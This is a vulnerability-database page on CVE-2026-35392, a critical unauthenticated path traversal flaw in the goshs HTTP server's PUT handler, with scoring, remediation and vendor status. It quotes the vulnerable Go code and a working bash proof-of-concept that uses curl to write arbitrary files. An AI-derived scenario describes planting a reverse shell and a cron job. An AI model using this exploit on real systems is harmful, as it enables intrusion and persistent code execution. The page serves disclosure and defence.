Skip to main content

CVE-2026-35392

| EUVDEUVD-2026-19488 CRITICAL
Path Traversal (CWE-22)
2026-04-03 https://github.com/patrickhener/goshs GHSA-g8mv-vp7j-qp64
9.8
CVSS 3.0 · Vendor: https://github.com/patrickhener/goshs
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Send PUT request with path traversal payload
  2. Exploit
    Bypass unsanitized path handling in handler
  3. Execution
    Write malicious file outside webroot
  4. Impact
    Execute arbitrary code or overwrite system files

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK

2 techniques across 2 tactics: Discovery, Collection

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

No special conditions — remote unauthenticated exploitation against default installations. Attacker sends HTTP PUT requests with path traversal sequences (e.g., PUT /../../../etc/passwd) to the httpserver, which fails to sanitize req.URL.Path before writing files outside the intended webroot.

Impact

This vulnerability represents critical real-world risk despite absence from CISA KEV. The CVSS 9.8 score accurately reflects exploitation conditions: network-accessible (AV:N), trivial complexity (AC:L), no authentication required (PR:N), no user interaction (UI:N), and full system impact (C:H/I:H/A:H). The GitHub security advisory includes a working proof-of-concept demonstrating file overwrite with a simple bash script, confirming the attack is practical and reproducible. Exploitation requires only HTTP access to the server and a single PUT request with URL-encoded path traversal-easily automatable for mass scanning. The default-vulnerable configuration amplifies risk since no opt-in features or misconfigurations are required. Real-world impact scenarios include overwriting system binaries, SSH authorized_keys files, cron jobs, or application code to achieve remote code execution. SSVC technical impact would classify as total (arbitrary file write enabling full system compromise). The primary risk mitigation is that goshs appears to be a lightweight utility server rather than enterprise infrastructure, potentially limiting exposure scope, but any internet-facing instance is immediately exploitable.

Exploit ScenarioDerived

An attacker scans the internet for goshs instances running on common ports (8000, 8080) using HTTP fingerprinting. Upon identifying a target, they craft a PUT request to http://target:8000/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/tmp/malicious.sh containing a reverse shell payload, using curl with the --path-as-is flag to prevent client-side path normalization. The server's concatenation of UploadFolder with the URL-encoded traversal sequence writes the file to /tmp/malicious.sh on the host filesystem. The attacker then uploads a second file to overwrite /etc/cron.d/persistence to execute their payload every minute, achieving persistent remote code execution with the privileges of the goshs process. Publicly available exploit code exists in the form of the proof-of-concept bash script included in the GitHub security advisory, demonstrating the attack requires minimal sophistication.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 03, 2026

Arbitrary file write in goshs HTTP server allows unauthenticated remote attackers to overwrite any file on the target system via path traversal in PUT requests. The PUT upload handler in goshs (a Go-based simple HTTP server) performs no path sanitization on user-supplied URL paths, enabling direct filesystem access outside the intended webroot through URL-encoded directory traversal sequences (%2e%2e/). CVSS 9.8 reflects network-accessible exploitation requiring no authentication or user interaction. No public exploit identified at time of analysis beyond the proof-of-concept in the security advisory. EPSS data not available, but the trivial exploit complexity (single curl command with --path-as-is flag) and default-vulnerable configuration present significant risk to exposed instances.

RemediationAI

Users should immediately upgrade to the patched version of goshs available from the project's GitHub repository at github.com/patrickhener/goshs. The vendor security advisory at https://github.com/patrickhener/goshs/security/advisories/GHSA-g8mv-vp7j-qp64 contains specific remediation guidance. The fix implements proper path sanitization using filepath.Clean() to normalize paths and validates that resolved file paths remain within the intended webroot boundary before file operations. Until patching is possible, operators should disable PUT request handling entirely by blocking HTTP PUT methods at the reverse proxy or firewall layer, or restrict goshs access to trusted networks only via firewall rules. Network segmentation to prevent goshs instances from being directly internet-accessible provides defense-in-depth. Do not rely on authentication overlays alone as the vulnerability exists in the core request handling logic before any authentication checks.

Affected VersionsENISA

goshs < 2.0.0-beta.3

Affected Packages

go github.com/patrickhener/goshs fix: 1.1.5-0.20260401172448-237f3af891a9
euvd goshs fix: 2.0.0-beta.3

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability resides in goshs's PUT request handler (httpserver/updown.go), a Go-based file server utility. The affected code directly concatenates the raw HTTP request URL path (req.URL.Path) with the configured UploadFolder directory without applying filepath.Clean() normalization or validating containment within the webroot. Go's net/http router passes URL paths as-is to handlers, meaning URL-encoded traversal sequences like %2e%2e/ (representing ../) bypass client-side normalization when the --path-as-is curl flag is used. The server then passes this unsanitized string to os.Create(), allowing writes to arbitrary filesystem locations. This is a classic CWE-22 (Path Traversal) vulnerability where insufficient input validation on file path construction enables directory traversal attacks. The UploadFolder defaults to Webroot in the application's main configuration, but the lack of any path boundary checking means an attacker can escape any configured directory through repeated traversal sequences.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/patrickhener/goshs) PRIMARY 9.8 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
SUSE CRITICAL

Primary rating from Vendor (https://github.com/patrickhener/goshs).

CVSS VectorVendor: https://github.com/patrickhener/goshs

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

2
Patch released
Apr 03, 2026 - 08:30 nvd
Patch available
CVE Published
Apr 03, 2026 - 04:07 nvd
CRITICAL 9.8

DescriptionCVE.org

Summary

  • PUT upload has no path sanitization | httpserver/updown.go:20-69

This finding affects the default configuration, no flags or authentication required.

Details

File: httpserver/updown.go:20-69 Trigger: PUT /<path> (server.go:57-59 routes directly to put())

The handler uses req.URL.Path raw to build the save path. No filepath.Clean, no .. check, no webroot containment.

go
func (fs *FileServer) put(w http.ResponseWriter, req *http.Request) {
    upath := req.URL.Path                              // unsanitized

    filename := strings.Split(upath, "/")
    outName := filename[len(filename)-1]

    targetpath := strings.Split(upath, "/")
    targetpath = targetpath[:len(targetpath)-1]
    target := strings.Join(targetpath, "/")

    savepath := fmt.Sprintf("%s%s/%s", fs.UploadFolder, target, outName)
    // ...
    os.Create(savepath)                                // arbitrary path write

UploadFolder defaults to Webroot (main.go:386-388). The path is pure string concatenation with no validation.

Impact: Unauthenticated arbitrary file write anywhere on the filesystem.

PoCs:

bash
#!/usr/bin/env bash
# Write an arbitrary file on a running goshs instance via PUT.
#
# Usage: ./arbitrary_overwrite1.sh <host> <port> <local-file> <absolute-target-path>

set -euo pipefail

HOST="${1:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
PORT="${2:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
LOCAL_FILE="${3:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
TARGET="${4:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"

if [ ! -f "$LOCAL_FILE" ]; then
    echo "[-] Local file not found: $LOCAL_FILE"
    exit 1
fi
# 16 levels of %2e%2e/ (URL-encoded "..") to reach filesystem root.
# Encoding is required so curl does not resolve the traversal client-side.
TRAVERSAL=""
for _ in $(seq 1 16); do
    TRAVERSAL="${TRAVERSAL}%2e%2e/"
done
# Strip leading / from target
TARGET_REL="${TARGET#/}"

PUT_PATH="/${TRAVERSAL}${TARGET_REL}"

echo "[*] Source:  ${LOCAL_FILE}"
echo "[*] Target:  ${TARGET}"
echo "[*] PUT:     ${PUT_PATH}"
echo ""

HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
    --path-as-is \
    -X PUT --data-binary "@${LOCAL_FILE}" \
    "http://${HOST}:${PORT}${PUT_PATH}")

echo "[*] HTTP ${HTTP_CODE}"
echo "[*] File should now exist at ${TARGET} on the target."

To execute it: ./arbitrary_overwrite2.sh 10.1.2.2 8000 ./canary /tmp/can

Recommendations

Checking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method return is called after every error response.

Executive ViewAI

Why It Matters

CVE-2026-35392 is a critical arbitrary file write vulnerability in goshs HTTP server that allows unauthenticated remote attackers to overwrite any file on affected systems through path traversal in PUT requests. Any organization running goshs as a publicly accessible service faces immediate risk of system compromise, data destruction, or malware injection without authentication barriers. This vulnerability requires urgent patching across all exposed instances.

Business Impact: Severe
Compensating Controls

Apply vendor patch. If patching cannot be completed within 24 hours: implement network segmentation or WAF rules to block PUT requests to goshs endpoints, disable PUT method at reverse proxy/load balancer level, and restrict network access to localhost or trusted IPs only until patched.

Threat Intelligence Overview

EPSS Score
0.1%
Top 79% exploitable
Threat Intel
1
1 source
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Total

Priority Score

49
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +49
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.

Related Vulnerabilities in Updown Server Path Traversal

View all 2

Vendor StatusVendor

SUSE

Severity: Critical
Product Status
openSUSE Tumbleweed Fixed

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy